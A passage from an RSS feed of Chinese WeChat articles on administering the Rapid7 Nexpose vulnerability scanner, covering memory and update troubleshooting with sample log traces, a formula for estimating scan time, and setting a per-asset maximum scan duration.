15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">java.lang.OutOfMemoryError: Java heap space</span><br/></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">如果您看到此消息，请联系技术支持。否则不要重新启动应用程序。</span></section><section style="margin-bottom: 15px;"><span style="color: rgb(233, 95, 38);font-size: 16px;"><strong>修复内存问题</strong></span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">由于扫描是内存密集型的并且经常发生，因此控制内存在扫描时的使用量非常重要，这样内存问题就不会影响扫描性能。有许多策略可以对内存限制且不会影响扫描。<span style="white-space: pre-wrap;">	</span></span></section><section style="margin-bottom: 15px;"><span style="color: rgb(233, 95, 38);"><strong><span style="font-size: 15px;">降低扫描深度和复杂性</span></strong></span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">随着目标主机数量的增加，存储扫描信息所需的内存量也会增加。如果正在扫描的主机存在过多的漏洞，则扫描可能会由于内存不足而挂起。</span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">若要降低预定扫描的复杂性，请尝试以下几种方法：</span></section><ul class="list-paddingleft-2" style="list-style-type: disc;"><li><p><span style="font-size: 15px;">通过排除站点配置中的 IP 地址来减少目标主机的数量</span></p></li><li><section style="margin-bottom: 15px;"><span style="font-size: 15px;">通过从扫描模板中排除低优先级检查来减少目标漏洞的数量</span></section></li></ul><section style="margin-bottom: 15px;"><span style="font-size: 15px;">修补一次扫描发现的任何漏洞后，将排除的 IP 地址或漏洞添加到站点配置中，然后再次运行扫描。</span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">有关详细信息，请参阅分布式扫描引擎和使用扫描模板和调整扫描性能：</span></section><section style="margin-bottom: 15px;"><em><span style="font-size: 15px;color: rgb(0, 122, 170);text-decoration: underline;"><a href="https://docs.rapid7.com/nexpose/working-with-scan-templates-and-tuning-scan-performance/" target="_blank">https://docs.rapid7.com/nexpose/working-with-scan-templates-and-tuning-scan-performance/</a></span></em></section><section style="margin-bottom: 15px;"><span style="color: rgb(233, 95, 38);"><strong><span style="font-size: 15px;">减少扫描任务</span></strong></span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">同时运行多个扫描可能会导致安全控制台内存不足。减少同时运行的扫描任务数量以节省内存。</span></section><section style="margin-bottom: 15px;"><span style="color: rgb(233, 95, 38);"><strong><span style="font-size: 15px;">升级主配</span></strong></span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">如果扫描始终会耗尽内存，请考虑向服务器添加更多内存。若要添加内存，可能也有必要升级服务器操作系统。在 64 位操作系统上，应用程序需要比在 32 位操作系统上运行时更多的内存。而且，它需要至少 8 Gb 的内存才能在 64 位操作系统上运行。</span></section><section style="margin-bottom: 15px;"><strong><span style="font-size: 15px;color: rgb(233, 95, 38);">有关管理扫描相关资源的信息</span></strong></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">有关使扫描更有利于内存的更多详细信息，请参阅以下章节，</span><span style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">规划部署</span><span style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">：</span></section><section style="margin-bottom: 15px;"><em><span style="font-size: 15px;color: rgb(0, 122, 170);text-decoration: underline;"><a href="https://docs.rapid7.com/nexpose/planning-a-deployment/" target="_blank">https://docs.rapid7.com/nexpose/planning-a-deployment/</a></span></em></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">使用扫描模板和调优扫描性能：</span></section><section style="margin-bottom: 15px;"><span style="text-decoration: underline;color: rgb(0, 122, 170);"><em><span style="text-decoration: underline;font-size: 15px;"><a href="https://docs.rapid7.com/nexpose/working-with-scan-templates-and-tuning-scan-performance/" target="_blank">https://docs.rapid7.com/nexpose/working-with-scan-templates-and-tuning-scan-performance/</a></span></em></span></section><section style="margin-bottom: 15px;"><span style="font-size: 16px;color: rgb(233, 95, 38);"><strong>更新失败</strong></span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">有时，系统更新将不成功。您可以通过检查系统日志来找出具体原因。</span></section><section style="margin-bottom: 15px;"><span style="font-size: 16px;color: rgb(233, 95, 38);"><strong>更新表出现损坏</strong></span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">应用程序在更新表中跟踪以前应用的更新。如果更新表变为损坏，应用程序将不知道需要下载和应用哪些更新。</span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">如果由于损坏的更新表而无法安装更新，则扫描控制台日志将包含类似于以下内容的消息：</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="sql"><code><span class="code-snippet_outer">AutoUpdateJo3/12/09 5:17 AM: NSC <span class="code-snippet__keyword">update</span> <span class="code-snippet__keyword">failed</span>: com.rapid7.updater.UpdateException: java.io.EOFException</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">at</span> com.rapid7.updater.UpdatePackageProcessor.getUpdateTable(<span class="code-snippet__literal">Unknown</span> <span class="code-snippet__keyword">Source</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">at</span> com.rapid7.updater.UpdatePackageProcessor.getUpdates(<span class="code-snippet__literal">Unknown</span> <span class="code-snippet__keyword">Source</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">at</span> com.rapid7.updater.UpdatePackageProcessor.getUpdates(<span class="code-snippet__literal">Unknown</span> <span class="code-snippet__keyword">Source</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">at</span> com.rapid7.nexpose.nsc.U.execute(<span class="code-snippet__literal">Unknown</span> <span class="code-snippet__keyword">Source</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">at</span> com.rapid7.scheduler.Scheduler$_A.run(<span class="code-snippet__literal">Unknown</span> <span class="code-snippet__keyword">Source</span>)</span></code></pre></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">如果发生这种情况，请联系技术支持。请参阅查看扫描日志（文档：故障排除#查看扫描日志:</span></section><section style="margin-bottom: 15px;"><span style="color: rgb(0, 122, 170);"><em><span style="font-size: 15px;text-decoration: underline;"><a href="https://docs.rapid7.com/nexpose/troubleshooting/#viewing-the-scan-log" target="_blank">https://docs.rapid7.com/nexpose/troubleshooting/#viewing-the-scan-log</a></span></em></span></section><section style="margin-bottom: 15px;"><span style="color: rgb(233, 95, 38);"><strong><span style="font-size: 16px;">更新中断</span></strong></span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">默认情况下，应用程序会自动下载并安装更新。有时候应用程序会下载更新，但其安装尝试可能失败。</span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">您可以通过查看扫描日志来了解是否发生这种情况。</span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">检查显示长时间不活动状态的更新时间戳。</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="sql"><code><span class="code-snippet_outer">AU-BE37EE72A11/3/08 5:56 PM: updating file: nsc/htroot/<span class="code-snippet__keyword">help</span>/html/<span class="code-snippet__number">757.</span>htm</span></code><code><span class="code-snippet_outer">NSC <span class="code-snippet__number">11</span>/<span class="code-snippet__number">3</span>/<span class="code-snippet__number">08</span> <span class="code-snippet__number">9</span>:<span class="code-snippet__number">57</span> PM: <span class="code-snippet__keyword">Logging</span> <span class="code-snippet__keyword">initialized</span> (<span class="code-snippet__keyword">system</span> <span class="code-snippet__built_in">time</span> zone <span class="code-snippet__keyword">is</span> SystemV/PST8PDT)</span></code></pre></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">您可以使用命令提示符手动重新尝试更新：update now</span></section><ol class="list-paddingleft-2" style="list-style-type: decimal;"><li><p><span style="font-size: 15px;">单击&#34;Administration&#34;选项卡转到&#34;管理&#34;页。</span></p></li><li><p><span style="font-size: 15px;">单击&#34;故障排除&#34;部分中的&#34;运行控制台&#34;命令。将显示命令控制台页面。</span></p></li><li><section style="margin-bottom: 15px;"><span style="font-size: 15px;">在文本框中输入&#34;<span style="font-size: 15px;">update now&#34;</span>命令，然后单击&#34; Execute&#34;</span></section></li></ol><section style="margin-bottom: 15px;"><span style="font-size: 15px;">安全控制台会显示一条消息，提示更新尝试是否成功。请参阅查看扫描日志。</span></section><section style="margin-bottom: 15px;"><em><span style="font-size: 15px;color: rgb(0, 122, 170);text-decoration: underline;"><a href="https://docs.rapid7.com/nexpose/troubleshooting/#viewing-the-scan-log" target="_blank">https://docs.rapid7.com/nexpose/troubleshooting/#viewing-the-scan-log</a></span></em></section><section style="margin-bottom: 15px;"><span style="color: rgb(233, 95, 38);"><strong><span style="font-size: 16px;">文件损坏</span></strong></span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">如果应用程序由于文件损坏而无法执行更新，则扫描控制台日志将包含类似于以下内容的消息：</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="sql"><code><span class="code-snippet_outer">AU-892F7C6793/7/09 1:19 AM: Applying <span class="code-snippet__keyword">update</span> <span class="code-snippet__keyword">id</span> <span class="code-snippet__number">919518342</span></span></code><code><span class="code-snippet_outer">AU<span class="code-snippet__number">-892</span>F7C6793/<span class="code-snippet__number">7</span>/<span class="code-snippet__number">09</span> <span class="code-snippet__number">1</span>:<span class="code-snippet__number">19</span> AM: <span class="code-snippet__keyword">error</span> <span class="code-snippet__keyword">in</span> opening zip <span class="code-snippet__keyword">file</span></span></code><code><span class="code-snippet_outer">AutoUpdateJo3/<span class="code-snippet__number">7</span>/<span class="code-snippet__number">09</span> <span class="code-snippet__number">1</span>:<span class="code-snippet__number">19</span> AM: NSC <span class="code-snippet__keyword">update</span> <span class="code-snippet__keyword">failed</span>: com.rapid7.updater.UpdateException:</span></code><code><span class="code-snippet_outer">java.util.zip.ZipException: <span class="code-snippet__keyword">error</span> <span class="code-snippet__keyword">in</span> opening zip <span class="code-snippet__keyword">file</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">at</span> com.rapid7.updater.UpdatePackageProcessor.B(<span class="code-snippet__literal">Unknown</span> <span class="code-snippet__keyword">Source</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">at</span> com.rapid7.updater.UpdatePackageProcessor.getUpdates(<span class="code-snippet__literal">Unknown</span> <span class="code-snippet__keyword">Source</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">at</span> com.rapid7.updater.UpdatePackageProcessor.getUpdates(<span class="code-snippet__literal">Unknown</span> <span class="code-snippet__keyword">Source</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">at</span> com.rapid7.nexpose.nsc.U.execute(<span class="code-snippet__literal">Unknown</span> <span class="code-snippet__keyword">Source</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">at</span> com.rapid7.scheduler.Scheduler$_A.run(<span class="code-snippet__literal">Unknown</span> <span class="code-snippet__keyword">Source</span>)</span></code></pre></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">如果更新由于文件损坏而失败，则意味着更新文件已成功下载，但无效。如果发生这种情况，请联系技术支持。请参阅查看扫描日志。</span></section><section style="margin-bottom: 15px;"><em><span style="font-size: 15px;color: rgb(0, 122, 170);text-decoration: underline;"><a href="https://docs.rapid7.com/nexpose/troubleshooting/#viewing-the-scan-log" target="_blank">https://docs.rapid7.com/nexpose/troubleshooting/#viewing-the-scan-log</a></span></em></section><section style="margin-bottom: 15px;"><span style="font-size: 16px;color: rgb(233, 95, 38);"><strong>与更新服务器的连接中断</strong></span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">如果无法在安全控制台和更新服务器之间建立连接，则该连接将显示在日志中，并出现类似于以下内容的消息：</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="sql"><code><span class="code-snippet_outer">AU-A7F0FF3623/10/09 4:53 PM: downloading <span class="code-snippet__keyword">update</span>: <span class="code-snippet__number">919518342</span></span></code><code><span class="code-snippet_outer">AutoUpdateJo3/<span class="code-snippet__number">10</span>/<span class="code-snippet__number">09</span> <span class="code-snippet__number">4</span>:<span class="code-snippet__number">54</span> PM: NSC <span class="code-snippet__keyword">update</span> <span class="code-snippet__keyword">failed</span>: java.net.SocketTimeoutException</span></code><code><span class="code-snippet_outer">java.net. SocketTimeoutException</span></code></pre></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">是无法与更新服务器建立连接的标志，如果连接已中断，则故障前的其他更新将成功。</span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">您可以使用&#34;<strong>update now</strong>&#34;命令提示符手动重新尝试更新。请参阅中断更新和查看扫描日志的相关内容：</span></section><section style="margin-bottom: 15px;"><em><span style="font-size: 15px;color: rgb(0, 122, 170);text-decoration: underline;"><a href="https://docs.rapid7.com/nexpose/troubleshooting/#interrupted-update" target="_blank">https://docs.rapid7.com/nexpose/troubleshooting/#interrupted-update</a></span></em></section><section style="margin-bottom: 15px;"><em><span style="font-size: 15px;color: rgb(0, 122, 170);text-decoration: underline;"><a href="https://docs.rapid7.com/nexpose/troubleshooting/#viewing-the-scan-log" target="_blank">https://docs.rapid7.com/nexpose/troubleshooting/#viewing-the-scan-log</a></span></em></section>



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      <pubDate>Tue, 17 Nov 2020 12:04:00 +0800</pubDate>
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      <title>Nexpose的扫描时间性能评估</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI4OTUxMzA1NA==&amp;mid=2247484468&amp;idx=1&amp;sn=a733b4e1222f71b7a9594f081177a503</link>
      <description>好多用户都不知道如何预估Nexpose的扫描任务时间，其实从任务未开始时，就可以计算出大约的时间。为什么不让大家看进度条？因为那个时间太模糊了，甚至太多人（包括网络和安全从业者）都对进度条有疯狂的迷信，反正我是不信</description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2020-11-13 11:47</span> <span style="display: inline-block;"></span>
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<p>好多用户都不知道如何预估Nexpose的扫描任务时间，其实从任务未开始时，就可以计算出大约的时间。为什么不让大家看进度条？因为那个时间太模糊了，甚至太多人（包括网络和安全从业者）都对进度条有疯狂的迷信，反正我是不信</p>
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<img src="https://wechat2rss.xlab.app/img-proxy/?k=651a6e48&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Flbnpx8zSNFUf74Pfkerpo3piaCicMf98uVOWNTqJC7yV233cMAwg9v7F1ysBNgNib6BkGd8EtCBLnD5mxzuXKEVPg%2F0%3Fwx_fmt%3Djpeg"/>
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<p style="margin-bottom: 15px;text-indent: 2em;"><span style="font-size: 15px;">好多用户都不知道如何预估Nexpose的扫描任务时间，其实从任务未开始时，就可以计算出大约的时间。为什么不让大家看进度条？因为那个时间太模糊了，甚至太多人（包括网络和安全从业者）都对进度条有疯狂的迷信，反正我是不信，大家有兴趣可以查一下进度条的来历。</span></p><p style="margin-bottom: 15px;text-indent: 2em;"><span style="font-size: 15px;">对于Nexpose在扫描时为什么无法确定整个任务所需要的总体时间，因为扫描是一个从未知到已知的过程，未知的资产存活状况和资产上活动的端口数量，服务数量，以及漏洞情况，这些都一层一层的影响着后续所需要的时间，它不像是看一个小电影，你可以快进甚至是快退<img data-ratio="1" style="display:inline-block;width:20px;vertical-align:text-bottom;" data-type="png" data-w="20" src="https://wechat2rss.xlab.app/img-proxy/?k=a879df55&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Flbnpx8zSNFUf74Pfkerpo3piaCicMf98uVjhLicDsicwJVribuQSUJd2zLibE07caNicZTBfHqovxJdHxxZybhsyLtXBA%2F640%3Fwx_fmt%3Dpng"/>。</span></p><p style="margin-bottom: 15px;text-indent: 2em;"><span style="font-size: 15px;">确切地说，关于这种情况，我们可以通过公式来计算出大约所需要时间。<br/></span></p><p style="margin-bottom: 15px;text-indent: 2em;"><span style="font-size: 15px;">以下公式可用于Nexpose的扫描性能评估：</span></p><section style="margin-bottom: 15px;"><span style="font-size: 15px;">（活动资产数量）<strong>X</strong>（将要扫描的端口数量）<strong>X</strong>（最大重试次数）<strong>/</strong>（每秒最小数据包）<strong>/ </strong>60秒 = 所需扫描时间（分钟）</span></section><section style="margin-bottom: 15px;"><span style="color: rgb(233, 95, 38);font-size: 16px;"><strong><span style="font-size: 16px;color: rgb(233, 95, 38);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">控制扫描性能和时间</span></strong></span><br/></section><p style="margin-bottom: 15px;text-indent: 2em;"><span style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">您可以编辑扫描模板中的参数来更改和优化扫描性能和时间。</span><br/></p><p style="margin-bottom: 15px;text-indent: 2em;"><span style="font-size: 15px;">例如，对于以下参数：</span></p><ul class="list-paddingleft-2" style="list-style-type: disc;"><li><p style="margin-bottom: 10px;"><span style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><strong>105</strong> = 发现扫描结果中的活动资产（您可以从扫描日志中获取）</span><br/></p></li><li><p style="margin-bottom: 10px;"><strong><span style="font-size: 15px;">65535</span></strong><span style="font-size: 15px;"> = 要扫描的端口数量（可以从扫描日志中的nmap params部分获取）</span></p></li><li><p style="margin-bottom: 10px;"><span style="font-size: 15px;"><strong>1</strong> = 最大重试次数（可以在扫描日志的nmap params行部分找到）</span></p></li><li><p style="margin-bottom: 10px;"><strong><span style="font-size: 15px;">200</span></strong><span style="font-size: 15px;"> = 每秒数据包数（可以在扫描日志的nmap params部分找到，在--min-rate后查找相关值）</span></p></li></ul><p style="margin-bottom: 15px;text-indent: 2em;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;">105（活动资产数量）X 65535（要扫描的端口数量）X 2（最大重试次数为1则此处的值就是2）/ 200（每秒最小数据包）/ 60秒= 1146.86分钟</span><br/></p><p style="margin-bottom: 15px;text-indent: 2em;"><span style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">在上面的示例中，该扫描模板将需要接近<strong>19</strong>个小时才能完成。</span><br/></p><p style="margin-bottom: 15px;text-indent: 2em;"><span style="font-size: 15px;">因此，假如：</span></p><p style="margin-bottom: 15px;text-indent: 2em;"><span style="font-size: 15px;">如果您需要在4小时的时间内完成扫描，则必须更改模板中的参数来实现这个目的。</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.3124231242312423" data-s="300,640" style="" data-type="png" data-w="1626" src="https://wechat2rss.xlab.app/img-proxy/?k=4708adf4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Flbnpx8zSNFUf74Pfkerpo3piaCicMf98uV3MJGyZaokcJibbRUqbBRUe5HCL1FeTcfvsOyVblaG7IJrlpsQYJ8TfQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.2765957446808511" data-s="300,640" style="" data-type="png" data-w="1410" src="https://wechat2rss.xlab.app/img-proxy/?k=46d8af99&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Flbnpx8zSNFUf74Pfkerpo3piaCicMf98uVgM5eKjtpNapFzAVmuia9U8W2grsyXlgTnDAuhphgHnNELhBicH5YCpIA%2F640%3Fwx_fmt%3Dpng"/><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span><br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.22609819121447028" data-s="300,640" style="" data-type="png" data-w="1548" src="https://wechat2rss.xlab.app/img-proxy/?k=698ecf78&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Flbnpx8zSNFUf74Pfkerpo3piaCicMf98uVrEz9hoNqVfnOib5RPRH1Jh4wUvCQvWXDI3Rhjofkqrc5vEnXBKibq76Q%2F640%3Fwx_fmt%3Dpng"/><br/></p><ol class="list-paddingleft-2" style="list-style-type: decimal;"><li><p style="margin-bottom: 10px;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;text-indent: 2em;">您可以将重试次数减少为0，这将使错误余量为零（响应异常也不重试），就能让</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;text-indent: 2em;">扫描任务</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;text-indent: 2em;">的</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;text-indent: 2em;">时间</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;text-indent: 2em;">性能</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;text-indent: 2em;">提高一倍。</span></p></li><li><p style="margin-bottom: 10px;"><span style="font-size: 15px;">您可以增加每秒的最小数据包数，每加一倍，扫描的时间性能就会加一倍。比如，从每秒200个最小数据包增加到400个最小数据包将使您最终的扫描时间将是573分钟而不是1146分钟。</span></p></li><li><p style="margin-bottom: 10px;"><span style="font-size: 15px;">您可以减少扫描的TCP端口范围。确定是否需要扫描全部端口（65535个），取决于您行扫描的目的是什么，例如，PCI需要扫描所有端口。</span></p></li></ol>



<p><a href="https://docs.rapid7.com/nexpose/measuring-scan-performance-and-time/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=89d0ea8d&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI4OTUxMzA1NA%3D%3D%26mid%3D2247484468%26idx%3D1%26sn%3Da733b4e1222f71b7a9594f081177a503%26subscene%3D0">跳转微信打开</a></p>
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      <pubDate>Fri, 13 Nov 2020 11:47:00 +0800</pubDate>
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      <title>调整每个资产的最大扫描持续时间</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI4OTUxMzA1NA==&amp;mid=2247484457&amp;idx=1&amp;sn=4bdf7997907dfcb3613ffcb773d84c08</link>
      <description>在指定的时间窗口内进行扫描的时候，我们经常会希望扫描能在预定时间内完成。但是在某些环境中（比如网络限制等），设备可能出现无响应或者无法及时响应的情况。因此，扫描无法在既定时间窗口内完成。</description>
      <content:encoded><![CDATA[<p>
原创 <span>Rapid7</span> <span>2020-11-03 10:00</span> <span style="display: inline-block;"></span>
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<p>在指定的时间窗口内进行扫描的时候，我们经常会希望扫描能在预定时间内完成。但是在某些环境中（比如网络限制等），设备可能出现无响应或者无法及时响应的情况。因此，扫描无法在既定时间窗口内完成。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=6c5f6ed3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Flbnpx8zSNFVohhhKu4NVO4rwjoOc9P33xRX2OvcYIHSiaolXWUKgObW90wu12sY0tl0pkQwkorz4EjWxdIIfkfQ%2F0%3Fwx_fmt%3Djpeg"/>
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<section style="text-align: left;margin-bottom: 15px;text-indent: 2em;"><span style="font-size: 16px;">在指定的时间窗口内进行扫描的时候，我们经常会希望扫描能在预定时间内完成。但是在某些环境中（比如网络限制等），设备可能出现无响应或者无法及时响应的情况。因此，扫描无法在既定时间窗口内完成。</span></section><p style="text-align: center;"><img class="rich_pages" data-ratio="0.2791666666666667" data-s="300,640" style="" data-type="jpeg" data-w="1200" src="https://wechat2rss.xlab.app/img-proxy/?k=1ef6032c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Flbnpx8zSNFVohhhKu4NVO4rwjoOc9P339AmmSGuoJ2U05uCln71LSvH4WuaIGCCibOKrfGB9dD1cgeG3ia4jr6JQ%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: left;text-indent: 0em;margin-bottom: 15px;"><span style="color: rgb(233, 95, 38);font-size: 17px;"><strong>解决方案</strong></span></p><section style="text-align: left;margin-bottom: 15px;text-indent: 2em;"><span style="font-size: 16px;">现在，您可以在 Nexpose 中对引擎进行最大扫描持续时间的自定义。</span></section><p style="text-align: left;text-indent: 0em;margin-bottom: 15px;"><span style="color: rgb(233, 95, 38);font-size: 17px;"><strong>建议</strong></span></p><section style="text-align: left;margin-bottom: 15px;text-indent: 2em;"><span style="font-size: 16px;">我们进行漏洞扫描的目的是能够让目标系统暴露出自身的缺陷和弱点。虽然Rapid7知道在实际扫描的情况下，扫描任务能够在既定时间窗口完成任务是很重要的。但是并不建议每次的扫描都设置最大扫描持续时间，因为这会对正常扫描过程和结果造成影响。如果执行，最终的结果不一定是完整的或者会有误报的可能性。</span></section><p style="text-align: left;text-indent: 0em;margin-bottom: 15px;"><span style="text-decoration: underline;"><strong><span style="text-decoration: underline;color: rgb(233, 95, 38);font-size: 15px;"><em>Tips：设置自定义属性时应小心。如果您不熟悉自定义属性，我们建议您联系 Rapid7 支持寻求帮助</em></span></strong></span></p><p style="text-align: left;text-indent: 0em;margin-bottom: 15px;"><span style="color: rgb(233, 95, 38);font-size: 17px;"><strong>在控制台的本地引擎中配置</strong></span></p><section style="text-align: left;margin-bottom: 15px;text-indent: 2em;"><span style="font-size: 16px;">可以在控制台中自定义属性：</span></section><p style="text-align: left;text-indent: 0em;margin-bottom: 15px;"><strong><span style="font-size: 16px;color: rgb(233, 95, 38);">1：</span></strong><span style="font-size: 16px;">在安全控制台中，单击左侧导航菜单中的&#34;管理&#34;选项卡</span></p><p style="text-align: left;text-indent: 0em;margin-bottom: 15px;"><strong><span style="font-size: 16px;color: rgb(233, 95, 38);">2：</span></strong><span style="font-size: 16px;text-indent: 0em;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">在&#34;维护、存储和故障排除&#34;部分中，单击&#34;故障排除&#34;标签旁边的&#34;运行&#34;</span></p><p style="text-align: left;text-indent: 0em;margin-bottom: 15px;"><strong><span style="font-size: 16px;color: rgb(233, 95, 38);">3：</span></strong><span style="font-size: 16px;">若要设置每个设备的最大扫描持续时间，请在空白输入框中输入以下命令，然后单击&#34;执行：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer"><span class="code-snippet__built_in">set</span> custom property　com.rapid7.nexpose.scanTargetMonitor.networkNode.timeLimit=1800000</span></code></pre></section><section style="text-align: left;margin-bottom: 15px;text-indent: 2em;"><span style="font-size: 16px;">在此示例中，1800000 是一个以毫秒为单位的值，即 30 分钟。</span></section><p style="text-align: left;text-indent: 